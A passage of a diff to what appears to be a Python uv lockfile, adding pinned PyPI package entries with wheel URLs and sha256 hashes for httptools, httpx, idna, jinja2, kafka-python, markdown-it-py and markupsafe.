"2025-10-10T03:54:45.923Z" }, + { url = "https://files.pythonhosted.org/packages/09/8f/c77b1fcbfd262d422f12da02feb0d218fa228d52485b77b953832105bb90/httptools-0.7.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:6babce6cfa2a99545c60bfef8bee0cc0545413cb0018f617c8059a30ad985de3", size = 202889, upload-time = "2025-10-10T03:54:47.089Z" }, + { url = "https://files.pythonhosted.org/packages/0a/1a/22887f53602feaa066354867bc49a68fc295c2293433177ee90870a7d517/httptools-0.7.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:601b7628de7504077dd3dcb3791c6b8694bbd967148a6d1f01806509254fb1ca", size = 108180, upload-time = "2025-10-10T03:54:48.052Z" }, + { url = "https://files.pythonhosted.org/packages/32/6a/6aaa91937f0010d288d3d124ca2946d48d60c3a5ee7ca62afe870e3ea011/httptools-0.7.1-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:04c6c0e6c5fb0739c5b8a9eb046d298650a0ff38cf42537fc372b28dc7e4472c", size = 478596, upload-time = "2025-10-10T03:54:48.919Z" }, + { url = "https://files.pythonhosted.org/packages/6d/70/023d7ce117993107be88d2cbca566a7c1323ccbaf0af7eabf2064fe356f6/httptools-0.7.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:69d4f9705c405ae3ee83d6a12283dc9feba8cc6aaec671b412917e644ab4fa66", size = 473268, upload-time = "2025-10-10T03:54:49.993Z" }, + { url = "https://files.pythonhosted.org/packages/32/4d/9dd616c38da088e3f436e9a616e1d0cc66544b8cdac405cc4e81c8679fc7/httptools-0.7.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:44c8f4347d4b31269c8a9205d8a5ee2df5322b09bbbd30f8f862185bb6b05346", size = 455517, upload-time = "2025-10-10T03:54:51.066Z" }, + { url = "https://files.pythonhosted.org/packages/1d/3a/a6c595c310b7df958e739aae88724e24f9246a514d909547778d776799be/httptools-0.7.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:465275d76db4d554918aba40bf1cbebe324670f3dfc979eaffaa5d108e2ed650", size = 458337, upload-time = "2025-10-10T03:54:52.196Z" }, + { url = "https://files.pythonhosted.org/packages/fd/82/88e8d6d2c51edc1cc391b6e044c6c435b6aebe97b1abc33db1b0b24cd582/httptools-0.7.1-cp313-cp313-win_amd64.whl", hash = "sha256:322d00c2068d125bd570f7bf78b2d367dad02b919d8581d7476d8b75b294e3e6", size = 85743, upload-time = "2025-10-10T03:54:53.448Z" }, + { url = "https://files.pythonhosted.org/packages/34/50/9d095fcbb6de2d523e027a2f304d4551855c2f46e0b82befd718b8b20056/httptools-0.7.1-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:c08fe65728b8d70b6923ce31e3956f859d5e1e8548e6f22ec520a962c6757270", size = 203619, upload-time = "2025-10-10T03:54:54.321Z" }, + { url = "https://files.pythonhosted.org/packages/07/f0/89720dc5139ae54b03f861b5e2c55a37dba9a5da7d51e1e824a1f343627f/httptools-0.7.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:7aea2e3c3953521c3c51106ee11487a910d45586e351202474d45472db7d72d3", size = 108714, upload-time = "2025-10-10T03:54:55.163Z" }, + { url = "https://files.pythonhosted.org/packages/b3/cb/eea88506f191fb552c11787c23f9a405f4c7b0c5799bf73f2249cd4f5228/httptools-0.7.1-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0e68b8582f4ea9166be62926077a3334064d422cf08ab87d8b74664f8e9058e1", size = 472909, upload-time = "2025-10-10T03:54:56.056Z" }, + { url = "https://files.pythonhosted.org/packages/e0/4a/a548bdfae6369c0d078bab5769f7b66f17f1bfaa6fa28f81d6be6959066b/httptools-0.7.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:df091cf961a3be783d6aebae963cc9b71e00d57fa6f149025075217bc6a55a7b", size = 470831, upload-time = "2025-10-10T03:54:57.219Z" }, + { url = "https://files.pythonhosted.org/packages/4d/31/14df99e1c43bd132eec921c2e7e11cda7852f65619bc0fc5bdc2d0cb126c/httptools-0.7.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:f084813239e1eb403ddacd06a30de3d3e09a9b76e7894dcda2b22f8a726e9c60", size = 452631, upload-time = "2025-10-10T03:54:58.219Z" }, + { url = "https://files.pythonhosted.org/packages/22/d2/b7e131f7be8d854d48cb6d048113c30f9a46dca0c9a8b08fcb3fcd588cdc/httptools-0.7.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7347714368fb2b335e9063bc2b96f2f87a9ceffcd9758ac295f8bbcd3ffbc0ca", size = 452910, upload-time = "2025-10-10T03:54:59.366Z" }, + { url = "https://files.pythonhosted.org/packages/53/cf/878f3b91e4e6e011eff6d1fa9ca39f7eb17d19c9d7971b04873734112f30/httptools-0.7.1-cp314-cp314-win_amd64.whl", hash = "sha256:cfabda2a5bb85aa2a904ce06d974a3f30fb36cc63d7feaddec05d2050acede96", size = 88205, upload-time = "2025-10-10T03:55:00.389Z" }, +] + +[[package]] +name = "httpx" +version = "0.28.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "certifi" }, + { name = "httpcore" }, + { name = "idna" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" }, +] + +[[package]] +name = "idna" +version = "3.11" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6f/6d/0703ccc57f3a7233505399edb88de3cbd678da106337b9fcde432b65ed60/idna-3.11.tar.gz", hash = "sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902", size = 194582, upload-time = "2025-10-12T14:55:20.501Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0e/61/66938bbb5fc52dbdf84594873d5b51fb1f7c7794e9c0f5bd885f30bc507b/idna-3.11-py3-none-any.whl", hash = "sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea", size = 71008, upload-time = "2025-10-12T14:55:18.883Z" }, +] + +[[package]] +name = "jinja2" +version = "3.1.6" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markupsafe" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 245115, upload-time = "2025-03-05T20:05:02.478Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134899, upload-time = "2025-03-05T20:05:00.369Z" }, +] + +[[package]] +name = "kafka-python" +version = "2.3.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a4/98/cbecbe20ec9e4e6f978c42229e7c777f498eec5061f986b4acfa34a7ec46/kafka_python-2.3.1.tar.gz", hash = "sha256:90f1caa12d8faa9fd059852b0c73adf169b979279aa2e3ff370f9fe615d654b6", size = 357302, upload-time = "2026-04-09T21:10:22.861Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/83/6f79b5e03f7d259cba60d3e48c97f7b76a86d20486a515e8ffadea97434e/kafka_python-2.3.1-py2.py3-none-any.whl", hash = "sha256:4908865da9e57f0f966a83788c71cb0ae91c33451a26ab6e6984a00b15c6ed71", size = 326065, upload-time = "2026-04-09T21:10:24.685Z" }, +] + +[[package]] +name = "markdown-it-py" +version = "4.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "mdurl" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5b/f5/4ec618ed16cc4f8fb3b701563655a69816155e79e24a17b651541804721d/markdown_it_py-4.0.0.tar.gz", hash = "sha256:cb0a2b4aa34f932c007117b194e945bd74e0ec24133ceb5bac59009cda1cb9f3", size = 73070, upload-time = "2025-08-11T12:57:52.854Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/94/54/e7d793b573f298e1c9013b8c4dade17d481164aa517d1d7148619c2cedbf/markdown_it_py-4.0.0-py3-none-any.whl", hash = "sha256:87327c59b172c5011896038353a81343b6754500a08cd7a4973bb48c6d578147", size = 87321, upload-time = "2025-08-11T12:57:51.923Z" }, +] + +[[package]] +name = "markupsafe" +version = "3.0.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5a/72/147da192e38635ada20e0a2e1a51cf8823d2119ce8883f7053879c2199b5/markupsafe-3.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d53197da72cc091b024dd97249dfc7794d6a56530370992a5e1a08983ad9230e", size = 11615, upload-time = "2025-09-27T18:36:30.854Z" }, + { url = "https://files.pythonhosted.org/packages/9a/81/7e4e08678a1f98521201c3079f77db69fb552acd56067661f8c2f534a718/markupsafe-3.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f14458ec73ce", size = 12020, upload-time = "2025-09-27T18:36:31.971Z" }, + { url = "https://files.pythonhosted.org/packages/1e/2c/799f4742efc39633a1b54a92eec4082e4f815314869865d876824c257c1e/markupsafe-3.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a7e8ae81ae39e62a41ec302f972ba6ae23a5c5396c8e60113e9066ef893da0d", size = 24332, upload-time = "2025-09-27T18:36:32.813Z" }, + { url = "https://files.pythonhosted.org/packages/3c/2e/8d0c2ab90a8c1d9a24f0399058ab8519a3279d1bd4289511d74e909f060e/markupsafe-3.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d6dd0be5b5b189d31db7cda48b91d7e0a9795f31430b7f271219ab30f1d3ac9d", size = 22947, upload-time = "2025-09-27T18:36:33.86Z" }, + { url = "https://files.pythonhosted.org/packages/2c/54/887f3092a85238093a0b2154bd629c89444f395618842e8b0c41783898ea/markupsafe-3.0.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:94c6f0bb423f739146aec64595853541634bde58b2135f27f61c1ffd1cd4d16a", size = 21962, upload-time = "2025-09-27T18:36:35.099Z" }, + { url = "https://files.pythonhosted.org/packages/c9/2f/336b8c7b6f4a4d95e91119dc8521402461b74a485558d8f238a68312f11c/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a5994914a3864c8a4b", size = 23760, upload-time = "2025-09-27T18:36:36.001Z" }, + { url = "https://files.pythonhosted.org/packages/32/43/67935f2b7e4982ffb50a4d169b724d74b62a3964bc1a9a527f5ac4f1ee2b/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde82c4b807286f", size = 21529, upload-time = "2025-09-27T18:36:36.906Z" }, + { url = "https://files.pythonhosted.org/packages/89/e0/4486f11e51bbba8b0c041098859e869e304d1c261e59244baa3d295d47b7/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1fe6548bfa2b", size = 23015, upload-time = "2025-09-27T18:36:37.868Z" }, + { url = "https://files.pythonhosted.org/packages/2f/e1/78ee7a023dac597a5825441ebd17170785a9dab23de95d2c7508ade94e0e/markupsafe-3.0.3-cp312-cp312-win32.whl", hash = "sha256:d88b440e37a16e651bda4c7c2b930eb586fd15ca7406cb39e211fcff3bf3017d", size = 14540, upload-time = "2025-09-27T18:36:38.761Z" }, + { url = "https://files.pythonhosted.org/packages/aa/5b/bec5aa9bbbb2c946ca2733ef9c4ca91c91b6a24580193e891b5f7dbe8e1e/markupsafe-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:26a5784ded40c9e318cfc2bdb30fe164bdb8665ded9cd64d500a34fb42067b1c", size = 15105, upload-time = "2025-09-27T18:36:39.701Z" }, + { url = "https://files.pythonhosted.org/packages/e5/f1/216fc1bbfd74011693a4fd837e7026152e89c4bcf3e77b6692fba9923123/markupsafe-3.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:35add3b638a5d900e807944a078b51922212fb3dedb01633a8defc4b01a3c85f", size = 13906, upload-time = "2025-09-27T18:36:40.689Z" }, + { url = "https://files.pythonhosted.org/packages/38/2f/907b9c7bbba283e68f20259574b13d005c121a0fa4c175f9bed27c4597ff/markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795", size = 11622, upload-time = "2025-09-27T18:36:41.777Z" }, + { url = "https://files.pythonhosted.org/packages/9c/d9/5f7756922cdd676869eca1c4e3c0cd0df60ed30199ffd775e319089cb3ed/markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219", size = 12029, upload-time = "2025-09-27T18:36:43.257Z" }, + { url = "https://files.pythonhosted.org/packages/00/07/575a68c754943058c78f30db02ee03a64b3c638586fba6a6dd56830b30a3/markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6", size = 24374, upload-time = "2025-09-27T18:36:44.508Z" }, + { url = "https://files.pythonhosted.org/packages/a9/21/9b05698b46f218fc0e118e1f8168395c65c8a2c750ae2bab54fc4bd4e0e8/markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676", size = 22980, upload-time = "2025-09-27T18:36:45.385Z" }, + { url = "https://files.pythonhosted.org/packages/7f/71/544260864f893f18b6827315b988c146b559391e6e7e8f7252839b1b846a/markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9", size = 21990, upload-time = "2025-09-27T18:36:46.916Z" }, + { url = "https://files.pythonhosted.org/packages/c2/28/b50fc2f74d1ad761af2f5dcce7492648b983d00a65b8c0e0cb457c82ebbe/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1", size = 23784, upload-time = "2025-09-27T18:36:47.884Z" }, + { url = "https://files.pythonhosted.org/packages/ed/76/104b2aa106a208da8b17a2fb72e033a5a9d7073c68f7e508b94916ed47a9/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc", size = 21588, upload-time = "2025-09-27T18:36:48.82Z" }, + { url = "https://files.pythonhosted.org/packages/b5/99/16a5eb2d140087ebd97180d95249b00a03aa87e29cc224056274f2e45fd6/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12", size = 23041, upload-time = "2025-09-27T18:36:49.797Z" }, + { url = "https://files.pythonhosted.org/packages/19/bc/e7140ed90c5d61d77cea142eed9f9c303f4c4806f60a1044c13e3f1471d0/markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed", size = 14543, upload-time = "2025-09-27T18:36:51.584Z" }, + { url = "https://files.pythonhosted.org/packages/05/73/c4abe620b841b6b791f2edc248f556900667a5a1cf023a6646967ae98335/markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5", size = 15113, upload-time = "2025-09-27T18:36:52.537Z" }, + { url = "https://files.pythonhosted.org/packages/f0/3a/fa34a0f7cfef23cf9500d68cb7c32dd64ffd58a12b09225fb03dd37d5b80/markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485", size = 13911, upload-time = "2025-09-27T18:36:53.513Z" }, + { url = "https://files.pythonhosted.org/packages/e4/d7/e05cd7efe43a88a17a37b3ae96e79a19e846f3f456fe79c57ca61356ef01/markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73", size = 11658, upload-time = "2025-09-27T18:36:54.819Z" }, + { url = "https://files.pythonhosted.org/packages/99/9e/e412117548182ce2148bdeacdda3bb494260c0b0184360fe0d56389b523b/markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37", size = 12066, upload-time = "2025-09-27T18:36:55.714Z" }, + { url = "https://files.pythonhosted.org/packages/bc/e6/fa0ffcda717ef64a5108eaa7b4f5ed28d56122c9a6d70ab8b72f9f715c80/markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19", size = 25639, upload-time = "2025-09-27T18:36:56.908Z" }, + { url = "https://files.pythonhosted.org/packages/96/ec/2102e881fe9d25fc16cb4b25d5f5cde50970967ffa5dddafdb771237062d/markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025", size = 23569, upload-time = "2025-09-27T18:36:57.913Z" }, + { url = "https://files.pythonhosted.org/packages/4b/30/6f2fce1f1f205fc9323255b216ca8a235b15860c34b6798f810f05828e32/markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6", size = 23284, upload-time = "2025-09-27T18:36:58.833Z" }, + { url = "https://files.pythonhosted.org/packages/58/47/4a0ccea4ab9f5dcb6f79c0236d954acb382202721e704223a8aafa38b5c8/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f", size = 24801, upload-time = "2025-09-27T18:36:59.739Z" }, + { url = "https://files.pythonhosted.org/packages/6a/70/3780e9b72180b6fecb83a4814d84c3bf4b4ae4bf0b19c27196104149734c/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb", size = 22769, upload-time = "2025-09-27T18:37:00.719Z" }, + { url = "https://files.pythonhosted.org/packages/98/c5/c03c7f4125180fc215220c035beac6b9cb684bc7a067c84fc69414d315f5/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009", size = 23642, upload-time = "2025-09-27T18:37:01.673Z" }, + { url = "https://files.pythonhosted.org/packages/80/d6/2d1b89f6ca4bff1036499b1e29a1d02d282259f3681540e16563f27ebc23/markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354", size = 14612, upload-time = "2025-09-27T18:37:02.639Z" }, + { url = "https://files.pythonhosted.org/packages/2b/98/e48a4bfba0a0ffcf9925fe2d69240bfaa19c6f7507b8cd09c70684a53c1e/markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218", size = 15200, upload-time = "2025-09-27T18:37:03.582Z" }, + { url = "https://files.pythonhosted.org/packages/0e/72/e3cc540f351f316e9ed0f092757459afbc595824ca724cbc5a5d4263713f/markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287", size = 13973, upload-time = "2025-09-27T18:37:04.929Z" }, + { url = "https://files.pythonhosted.org/packages/33/8a/8e42d4838cd89b7dde187011e97fe6c3af66d8c044997d2183fbd6d31352/markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe", size = 11619, upload-time = "2025-09-27T18:37:06.342Z" }, + { url = "https://files.pythonhosted.org/packages/b5/64/7660f8a4a8e53c924d0fa05dc3a55c9cee10bbd82b11c5afb27d44b096ce/markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026", size = 12029, upload-time = "2025-09-27T18:37:07.213Z" }, + { url = "https://files.pythonhosted.org/packages/da/ef/e648bfd021127bef5fa12e1720ffed0c6cbb8310c8d9bea7266337ff06de/markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737", size = 24408, upload-time = "2025-09-27T18:37:09.572Z" }, + { url = "https://files.pythonhosted.org/packages/41/3c/a36c2450754618e62008bf7435ccb0f88053e07592e6028a34776213d877/markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97", size = 23005, upload-time = "2025-09-27T18:37:10.58Z" }, + { url = "https://files.pythonhosted.org/packages/bc/20/b7fdf89a8456b099837cd1dc21974632a02a999ec9bf7ca3e490aacd98e7/markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d", size = 22048, upload-time = "2025-09-27T18:37:11.547Z" }, + { url = "https://files.pythonhosted.org/packages/9a/a7/591f592afdc734f47db08a75793a55d7fbcc6902a723ae4cfbab61010cc5/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda", size = 23821, upload-time = "2025-09-27T18:37:12.48Z" }, + { url = "https://files.pythonhosted.org/packages/7d/33/45b24e4f44195b26521bc6f1a82197118f74df348556594bd2262bda1038/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf", size = 21606, upload-time = "2025-09-27T18:37:13.485Z" }, + { url = "https://files.pythonhosted.org/packages/ff/0e/53dfaca23a69fbfbbf17a4b64072090e70717344c52eaaaa9c5ddff1e5f0/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe", size = 23043, upload-time = "2025-09-27T18:37:14.408Z" }, + { url = "https://files.pythonhosted.org/packages/46/11/f333a06fc16236d5238bfe74daccbca41459dcd8d1fa952e8fbd5dccfb70/markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9", size = 14747, upload-time = "2025-09-27T18:37:15.36Z" }, + { url = "https://files.pythonhosted.org/packages/28/52/182836104b33b444e400b14f797212f720cbc9ed6ba34c800639d154e821/markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581", size = 15341, upload-time = "2025-09-27T18:37:16.496Z" }, + { url = "https://files.pythonhosted.org/packages/6f/18/acf23e91bd94fd7b3031558b1f013adfa21a8e407a3fdb32745538730382/markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4", size = 14073, upload-time = "2025-09-27T18:37:17.476Z" }, + { url = "https://files.pythonhosted.org/packages/3c/f0/57689aa4076e1b43b15fdfa646b04653969d50cf30c32a102762be2485da/markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab", size = 11661, upload-time = "2025-09-27T18:37:18.453Z" }, + { url = "https://files.pythonhosted.org/packages/89/c3/2e67a7ca217c6912985ec766c6393b636fb0c2344443ff9d91404dc4c79f/markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175", size = 12069, upload-time = "2025-09-27T18:37:19.332Z" }, + { url = "https://files.pythonhosted.org/packages/f0/00/be561dce4e6ca66b15276e184ce4b8aec61fe83662cce2f7d72bd3249d28/markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634", size = 25670, upload-time = "2025-09-27T18:37:20.245Z" }, + { url = "https://files.pythonhosted.org/packages/50/09/c419f6f5a92e5fadde27efd190eca90f05e1261b10dbd8cbcb39cd8ea1dc/markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50", size = 23598, upload-time = "2025-09-27T18:37:21.177Z" }, + { url = "https://files.pythonhosted.org/packages/22/44/a0681611106e0b2921b3033fc19bc53323e0b50bc70cffdd19f7d679bb66/markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e", size = 23261, upload-time = "2025-09-27T18:37:22.167Z" }, + { url = "https://files.pythonhosted.org/packages/5f/57/1b0b3f100259dc9fffe780cfb60d4be71375510e435efec3d116b6436d43/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5", size = 24835, upload-time = "2025-09-27T18:37:23.296Z" }, + { url = "https://files.pythonhosted.org/packages/26/6a/4bf6d0c97c4920f1597cc14dd720705eca0bf7c787aebc6bb4d1bead5388/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523", size = 22733, upload-time = "2025-09-27T18:37:24.237Z" }, + { url = "https://files.pythonhosted.org/packages/14/c7/ca723101509b518797fedc2fdf79ba57f886b4aca8a7d31857ba3ee8281f/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc", size = 23672, upload-time = "2025-09-27T18:37:25.271Z" }, + { url = "https://files.pythonhosted.org/packages/fb/df/5bd7a48c256faecd1d36edc13133e51397e41b73bb77e1a69deab746ebac/markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d", size = 14819, upload-time = "2025-09-27T18:37:26.285Z" }, + { url = 